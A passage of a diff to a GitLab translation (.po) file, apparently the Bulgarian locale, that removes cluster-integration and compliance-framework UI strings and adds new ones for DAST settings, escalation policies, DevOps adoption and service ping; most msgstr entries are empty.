-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr "Сътрудници"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "ЧаÑова зона за „Cron“"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Да не Ñе показва повече"
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "СвалÑне"
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
